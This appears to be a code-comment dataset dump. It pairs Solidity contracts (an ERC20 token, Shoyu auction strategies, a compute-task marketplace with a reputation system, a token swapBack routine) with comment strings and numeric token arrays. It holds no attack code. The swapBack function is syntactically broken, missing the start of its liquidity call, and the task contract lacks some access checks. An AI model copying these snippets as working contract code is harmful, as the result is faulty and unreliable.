Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract ERC20Mock is ERC20("Mock", "MOCK") { function mint(address to, uint256 amount) external { _mint(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; interface IERC20Snapshot is IERC20, IERC20Metadata { function balanceOfAt(address account, uint256 snapshotId) external view returns (uint256); function totalSupplyAt(uint256 snapshotId) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "../interfaces/IStrategy.sol"; contract FixedPriceSale is IStrategy { function canClaim( address proxy, uint256 deadline, bytes memory params, address, uint256 bidPrice, address, uint256, uint256 ) external view override returns (bool) { uint256 price = abi.decode(params, (uint256)); require(price > 0, "SHOYU: INVALID_PRICE"); return (proxy != address(0) || block.timestamp <= deadline) && bidPrice == price; } function canBid( address, uint256, bytes memory, address, uint256, address, uint256, uint256 ) external pure override returns (bool) { return false; } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "../interfaces/IStrategy.sol"; contract EnglishAuction is IStrategy { function canClaim( address proxy, uint256 deadline, bytes memory params, address bidder, uint256 bidPrice, address bestBidder, uint256 bestBidPrice, uint256 ) external view override returns (bool) { if (proxy == address(0)) { return bidder == bestBidder && bidPrice == bestBidPrice && deadline < block.timestamp; } else { uint256 startPrice = abi.decode(params, (uint256)); require(startPrice > 0, "SHOYU: INVALID_START_PRICE"); return bidPrice >= startPrice && deadline < block.timestamp; } } function canBid( address proxy, uint256 deadline, bytes memory params, address, uint256 bidPrice, address, uint256 bestBidPrice, uint256 ) external view override returns (bool) { if (proxy == address(0)) { uint256 startPrice = abi.decode(params, (uint256)); require(startPrice > 0, "SHOYU: INVALID_START_PRICE"); return block.timestamp <= deadline && bidPrice >= startPrice && bidPrice > bestBidPrice; } else { return false; } } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "../interfaces/IStrategy.sol"; contract DutchAuction is IStrategy { function canClaim( address proxy, uint256 deadline, bytes memory params, address, uint256 bidPrice, address, uint256, uint256 ) external view override returns (bool) { (uint256 startPrice, uint256 endPrice, uint256 startedAt) = abi.decode(params, (uint256, uint256, uint256)); require(startPrice > endPrice, "SHOYU: INVALID_PRICE_RANGE"); require(startedAt < deadline, "SHOYU: INVALID_STARTED_AT"); uint256 tickPerBlock = (startPrice - endPrice) / (deadline - startedAt); uint256 currentPrice = block.timestamp >= deadline ? endPrice : startPrice - ((block.timestamp - startedAt) * tickPerBlock); return (proxy != address(0) || block.timestamp <= deadline) && bidPrice >= currentPrice; } function canBid( address, uint256, bytes memory, address, uint256, address, uint256, uint256 ) external pure override returns (bool) { return false; } }
* @dev See {IERC1155-balanceOf}. Requirements: - `account` cannot be the zero address./
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "SHOYU: INVALID_ADDRESS"); return _balances[id][account]; }
96,792
[ 1, 9704, 288, 45, 654, 39, 2499, 2539, 17, 12296, 951, 5496, 29076, 30, 300, 1375, 4631, 68, 2780, 506, 326, 3634, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11013, 951, 12, 2867, 2236, 16, 2254, 5034, 612, 13, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 4631, 480, 1758, 12, 20, 3631, 315, 2664, 51, 61, 57, 30, 10071, 67, 15140, 8863, 203, 3639, 327, 389, 70, 26488, 63, 350, 6362, 4631, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
///////////////////////////////////////////////////////////////////////////////////// //version 3.0.0 //Author: Taurus, Samuel Pritchett //Copyright: [email protected] // //update from 2.1 -> 3.0, keep alignment with the project version v3.0, which is a stable release version. /////////////////////////////////////////////////////////////////////////////////////// //NOTE: //This design uses account address as the identifier, meaning each address could only have one req/prov associated. //When submit new or update existing req/prov, previous record are overwriten. //Each address could only have one req or prov, not at same time. //TODO: add conflict detection of the address. Check whether existing req or prov from your address is 'not complete',(being proccessed). //TODO: Aug.2019, add a hard-reset function. Totally remove one request or stop provider from the pool // , no matter their status (being processed or pending), because sometimes, one will stuck in the pool. //////////////////////////////////////////////////////////////////////////////////// pragma solidity >=0.5.1; pragma experimental ABIEncoderV2; //enable returning self-defined type, used in helper return provider and request //do not disable, provider is returned for debuging reason. contract bcaiReputation { mapping (address => reputation) public ratings; //user address -> reputation struct struct reputation{ uint128 numRatings; uint128 avgRating; uint128[5] lastFive; bool newUser; } function addRating (address user, uint128 rating) internal { if(ratings[user].numRatings != 0){ ratings[user].avgRating = (rating + (ratings[user].numRatings * ratings[user].avgRating)) / (ratings[user].numRatings + 1); ratings[user].numRatings++; for(uint8 i = 4; i != 0; i--){//shift the array so we can add newest rating ratings[user].lastFive[i] = ratings[user].lastFive[i - 1]; } ratings[user].lastFive[0] = rating; if(ratings[user].numRatings == 5){ ratings[user].newUser = false; } } else {//this is their first rating, simpler logic ratings[user].avgRating = rating; ratings[user].lastFive[0] = rating; ratings[user].numRatings++; } } function getNumRatings (address user) public view returns(uint128){ return ratings[user].numRatings; } function getAvgRating (address user) public view returns(uint128){ return ratings[user].avgRating; } function getLastFive (address user) public view returns(uint128[5] memory) { return ratings[user].lastFive; } } contract TaskContract is bcaiReputation{ uint256 price = 10000000000000000; // 10000000000000000 Wei = 0.01 ETH mapping (address => Provider) public providerList; //provAddr => provider struct mapping (address => Request) public requestList; //reqAddr => request struct struct Request { uint256 blockNumber; //record the time of submission address payable provider; //record the provider assigned to this request uint256 deposit; //the amount he put down for a deposit uint256 price; //the amount of wei provider is owed for the work (set to price for now) bytes dataID; //dataID used to fetch the off-chain data, interact with ipfs bytes resultID; //dataID to fetch the off-chain result, via ipfs address validator; //validators' addr, update when assigned the task to validators bool signature; //true or false array, update only when validator submit result bool isValid; //the final flag byte status; //one byte indicating the status: 0: 'pending', 1:'providing', 2: 'validating', 3: 'complete' } struct Provider { uint256 blockNumber; //record the time of submission bool available; //if ready to be assigned } //should try best to reduce type of events in order to remove unnecessary confusion. -> reuse events with same format //no need seperate events for each type, just put whatever info passed in bytes info event IPFSInfo (address payable reqAddr, bytes info, bytes extra); event SystemInfo (address payable reqAddr, bytes info); //systemInfo is only informative, not trigger anything. event PairingInfo (address payable reqAddr, address payable provAddr, bytes info); //NOTE: [by TaoLu] extra here are actually dataID, which can also be accessed via reqAddr. // extra may not be necessary but it makes easier of app to handle info. This retains the tradeoff of gas cost and easyness. event PairingInfoLong (address payable reqAddr, address payable provAddr, bytes info, bytes extra); //Pools stores the address of req or prov, thus indicate the stages. address payable[] providerPool; //provAddr only when more providers > req, or empty address payable[] pendingPool; //reqAddr only when more requests > prov, or empty address payable[] providingPool; //reqAddr address payable[] validatingPool; //reqAddr ///////////////////////////////////////////////////////////////////////////////////// // Function called to become a provider. Add address on List, and Pool if not instantly assigned. // TIPS on gas cost: don't create local copy and write back, modify the storage directly. // gas cost 165K without event / 167K with event / 92K overwrite function startProviding() public returns (bool) { if(providerList[msg.sender].blockNumber == 0){ //if this is new providerList[msg.sender].blockNumber = block.number; providerList[msg.sender].available = true; providerPool.push(msg.sender); emit SystemInfo (msg.sender, "Provider Added"); return true; } // else { //this address has been recorded before // return updateProvider(maxTime, maxTarget, minPrice); //this could be an update // } } // Stop a provider. Must be sent from the provider address or it will be failed. function stopProviding() public returns (bool) { // If the sender is currently an active provider if (providerList[msg.sender].available == true){ //can only stop available provider delete providerList[msg.sender]; //delete from List emit SystemInfo(msg.sender, 'Provider Stopped'); return ArrayPop(providerPool, msg.sender); //delete from Pool } else{ emit SystemInfo(msg.sender, 'Provider Unable to Stop'); return false; } } //update a provider, you must know the provAddr and must sent from right addr // function updateProvider(uint64 maxTime, uint16 maxTarget, uint64 minPrice) public returns (bool) { // if(providerList[msg.sender].available == true){ //can only modify available provider // providerList[msg.sender].blockNumber = block.number; // providerList[msg.sender].maxTime = maxTime; // providerList[msg.sender].maxTarget = maxTarget; // providerList[msg.sender].minPrice = minPrice; // emit SystemInfo(msg.sender,'Provider Updated'); // return true; // } // else{ // emit SystemInfo(msg.sender, 'Provider Unable to Update'); // return false; // } // } // Send a request from user to blockchain. Assumes price is including the cost for verification // NOTE: use bytes memory as argument will increase the gas cost, one alternative will be uint type, may consifer in future. function startRequest(bytes memory dataID) public payable returns (bool) { require(msg.value >= price, 'Not enough ether'); if(requestList[msg.sender].blockNumber == 0){ //never submitted before //register on List requestList[msg.sender].blockNumber = block.number; requestList[msg.sender].provider = address(0); requestList[msg.sender].validator = address(0); requestList[msg.sender].deposit = msg.value; //how much ether was sent to contract by the user, their "deposit" requestList[msg.sender].price = price; //set to price here, in future will need to be calculated and set later requestList[msg.sender].dataID = dataID; requestList[msg.sender].status = '0'; //pending = 0x30, is in ascii not number 0 pendingPool.push(msg.sender); emit IPFSInfo (msg.sender, "Request Added", dataID); return true; } else { //submitted before return updateRequest(dataID); } } function stopRequest() public returns (bool){ if (requestList[msg.sender].status == '0'){ //can only cancel owned pending request, ('0' = 0x30) delete requestList[msg.sender]; //delete from List emit SystemInfo(msg.sender, 'Request Stopped'); return ArrayPop(pendingPool, msg.sender); //delete from Pool } else{ emit SystemInfo(msg.sender, 'Request Unable to Stop'); return false; } } function updateRequest(bytes memory dataID) public payable returns (bool) { if(requestList[msg.sender].status == '0' ){ //can only update pending request requestList[msg.sender].blockNumber = block.number; requestList[msg.sender].dataID = dataID; emit SystemInfo(msg.sender, 'Request Updated'); return true; } else{ emit SystemInfo(msg.sender, 'Request Unable to Update'); return false; } } //Add provAddr to request as a provider if they are available and their prices match up // Called by user who wants to choose provAddr to work for them // Returns '0' on success, '1' on failure function chooseProvider(address payable provAddr) public returns (byte){ if(requestList[msg.sender].status == '0'){ //Since this is ascii '0' its actually 0x30, users who have not submitted a task shouldn't get through here if(providerList[provAddr].available == true){ //if chosen provider is in the providerPool and their prices match providerList[provAddr].available = false; ArrayPop(providerPool, provAddr); requestList[msg.sender].provider = provAddr; requestList[msg.sender].status = '1'; ArrayPop(pendingPool, msg.sender); providingPool.push(msg.sender); emit PairingInfoLong(msg.sender, provAddr, "Request Assigned", requestList[msg.sender].dataID); return '0'; } else{ emit SystemInfo(msg.sender, 'Chosen provider is not available to work'); return '1'; } } else if(requestList[msg.sender].status == '2' && requestList[msg.sender].provider != provAddr){ providerList[provAddr].available = false; ArrayPop(providerPool, provAddr); requestList[msg.sender].validator = provAddr; requestList[msg.sender].signature = false; emit PairingInfoLong(msg.sender, provAddr, 'Validation Assigned to Provider', requestList[msg.sender].resultID); return '0'; } else{ if(requestList[msg.sender].status == '1'){ emit SystemInfo(msg.sender, 'Your request already has a provider assigned'); } else{ emit SystemInfo(msg.sender, 'You do not have a request'); } return '1'; } } // Provider will call this when they are done and the result data is available. // This will invoke the validation stage. Only when the request got enough validators, // that req could be moved from pool and marked. Or that req stays providing function completeRequest(address payable reqAddr, bytes memory resultID) public returns (bool) { // Confirm msg.sender is actually the provider of the task he claims if (msg.sender == requestList[reqAddr].provider) { //change request obj requestList[reqAddr].status = '2'; //validating requestList[reqAddr].resultID = resultID; //move from providing pool to validating Pool. ArrayPop(providingPool, reqAddr); validatingPool.push(reqAddr); //release provider (not necessarily depend on provider) back into providerPool providerList[msg.sender].available = true; providerPool.push(msg.sender); emit IPFSInfo(reqAddr, 'Request Computation Completed',requestList[reqAddr].resultID); //start validation process return true; } else { return false; } } // needs to be more secure by ensuring the submission is coming from someone legit // similar to completeTask but this will sign the validation list of the target Task // TODO: the money part is ommited for now function submitValidation(address payable reqAddr, bool result) public returns (bool) { if(msg.sender != requestList[reqAddr].provider) { //validator cannot be provider if(requestList[reqAddr].validator == msg.sender && requestList[reqAddr].signature == false){ // this is the validator and no signature yet //The way the project is coded right now, this is gauranteed to run. If this doesn't run something is wrong. if(requestList[reqAddr].deposit >= requestList[reqAddr].price){ //if the deposit is enough to pay requestList[reqAddr].provider.transfer(requestList[reqAddr].price); //send price to provider emit SystemInfo(requestList[reqAddr].provider, 'You have been paid'); //alert provider if(requestList[reqAddr].deposit >= requestList[reqAddr].price){ //if deposit was greater than price reqAddr.transfer(requestList[reqAddr].deposit - requestList[reqAddr].price); //return remaining eth back to user emit SystemInfo(reqAddr, 'You have recieved part of your deposit back'); //alert user } } // else { //deposit was not enough, need more ether // emit PairingInfo(reqAddr, requestList[reqAddr].provider, 'Deposit insufficient, ) // } requestList[reqAddr].signature = result; requestList[reqAddr].isValid = result; providerList[msg.sender].available = true; //release validator providerPool.push(msg.sender); emit PairingInfo(reqAddr, msg.sender, 'Validator Signed'); emit IPFSInfo(reqAddr, 'Validation Complete', requestList[reqAddr].resultID); } } else //submit vali from provider return false; } // finalize the completed result, move everything out of current pools function finalizeRequest(address payable reqAddr, bool toRate, uint8 rating) public returns (bool) { if(requestList[reqAddr].isValid){ ArrayPop(validatingPool, reqAddr); if(toRate){ //If user wishes to, let them rate the provider addRating(requestList[reqAddr].provider, rating); } delete requestList[reqAddr]; //delete user from mapping } } ///////////////////////////////////////////////////////////////////// // Used to dynamically remove elements from array of open provider spaces. // Using a swap and delete method, search for the desired addr throughout the whole array // delete the desired and swap the hole with last element function ArrayPop(address payable[] storage array, address payable target) private returns (bool) { for(uint64 i = 0; i < array.length; i++){ if (array[i] == target) { array[i] = array[array.length-1]; //swap last element with hole delete array[array.length-1]; //delete last item array.length -= 1; //decrease size return true; } } return false; //fail to search: no matching in pool } ///////////////////////////////////////////////////////////////////////////////// //some helpers defined here //NOTE: these helpers will use up the code space, (in Ethereum code lenght is limited) // can be removed in future to free up space. // function getProvider(address payable ID) public view returns(Provider memory){ // return providerList[ID]; // } // function getRequest(address payable ID) public view returns (Request memory){ // return requestList[ID]; // } function getProviderPool() public view returns (address payable[] memory){ return providerPool; } function getPendingPool() public view returns (address payable[] memory){ return pendingPool; } function getValidatingPool() public view returns (address payable[] memory){ return validatingPool; } function getProvidingPool() public view returns (address payable[] memory){ return providingPool; } // function getProviderPoolSize() public view returns (uint256){ // return providerPool.length; // } // function getRequestPoolSize() public view returns (uint256){ // return pendingPool.length; // } }
if ready to be assigned
bool available;
1,008,996
[ 1, 430, 5695, 358, 506, 6958, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1426, 565, 2319, 31, 10402, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/5/0xb3607Cf5844f8Eeb86Ea9945986783B95BCBe9D7/sources/mytoken.sol
only to supress warning msg
function swapBack() internal swapping { uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee; uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountBNB = address(this).balance.sub(balanceBefore); uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2)); uint256 amountBNBLiquidity = amountBNB.mul(dynamicLiquidityFee).div(totalBNBFee).div(2); uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee); uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee); uint256 amountBNBDev = amountBNB.mul(devfee).div(totalBNBFee); tmpSuccess = false; if(amountToLiquify > 0){ address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountBNBLiquidity, amountToLiquify); } }
16,851,243
[ 1, 3700, 358, 1169, 663, 3436, 1234, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
